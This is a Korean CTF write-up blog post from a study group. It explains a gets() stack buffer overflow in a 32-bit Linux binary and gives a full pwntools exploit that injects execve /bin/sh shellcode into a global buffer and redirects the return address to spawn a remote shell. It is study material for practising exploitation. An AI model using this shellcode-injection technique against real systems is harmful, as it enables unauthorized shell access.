문제 파일을 실행해 보면 다음과 같이 두번 입력을 받고 있다.
file 명령으로 파일을 확인해보면 32비트 리눅스 실행파일임을 확인할 수 있다.
이 프로그램에서 사용된 함수의 목록은 다음과 같다.
main 함수는 다음과 같다.
printf 함수로 Name: 과 input : 을 출력하고, 두 번의 입력 중 한 번은 read 함수로, 다른 한 번은 gets 함수로 입력을 받고 있는 것 같다.
main 함수를 IDA 헥스레이로 확인해보면 다음과 같다.
20크기의 배열이 선언되어 있고, gets 함수를 통해서 s에 값을 입력받는다. 입력받을 때 입력받는 값을 제한하지 않아서 bof 가 발생할 수 있다. 프로그램 내부에 시스템 함수가 없어서 쉘 코드를 넣어야 하는데 s는 크기가 20밖에 안되서 전역변수 name을 사용해야 할 것 같다.
전역변수 name의 주소는 0x804A060 이다.
name 변수에 쉘 코드를 넣고 배열 s 를 이용하여 name 변수의 쉘 코드를 실행해야 하는데, name 변수의 주소를 덮어 써서 쉘을 실행하려면 RET에 덮어써야 하므로 배열 s의 크기 20에 sfp 4byte를 더한 24byte를 채우고 name변수의 주소를 넣으면 된다.
쉘 코드는 shell-storm.org/shellcode 사이트에서 만들어진 쉘 코드를 사용할 수 있다.
shell-storm | Shellcodes Database
Shellcodes database for study cases Description Although these kinds of shellcode presented on this page are rarely used for real exploitations, this page lists some of them for study cases and proposes an API to search specific ones. Thanks all for your c
shell-storm.org
다음과 같이 파이썬 코드를 짜고 실행하면 쉘을 딸 수 있다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
from pwn import *
p=remote("ctf.j0n9hyun.xyz",3003)
sh = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
name_addr = p32(0x804A060)
pay = "A"*24
pay = pay.encode() + name_addr
p.recvuntil("Name :")
p.sendline(sh)
p.recvuntil("input :")
p.sendline(pay)
p.interactive()
|
cs |
'Project H4C Study Group' 카테고리의 다른 글
[Project H4C][dreamhack] basic_exploitation_000 (0) | 2021.03.18 |
---|---|
[Project H4C][dreamhack] welcome (0) | 2021.03.18 |
[Project H4C][Hack CTF] Basic_FSB (0) | 2021.03.17 |
[Project H4C][Hack CTF] Basic_BOF #2 (0) | 2021.03.16 |
[Project H4C][Hack CTF] Basic_BOF #1 (0) | 2021.03.16 |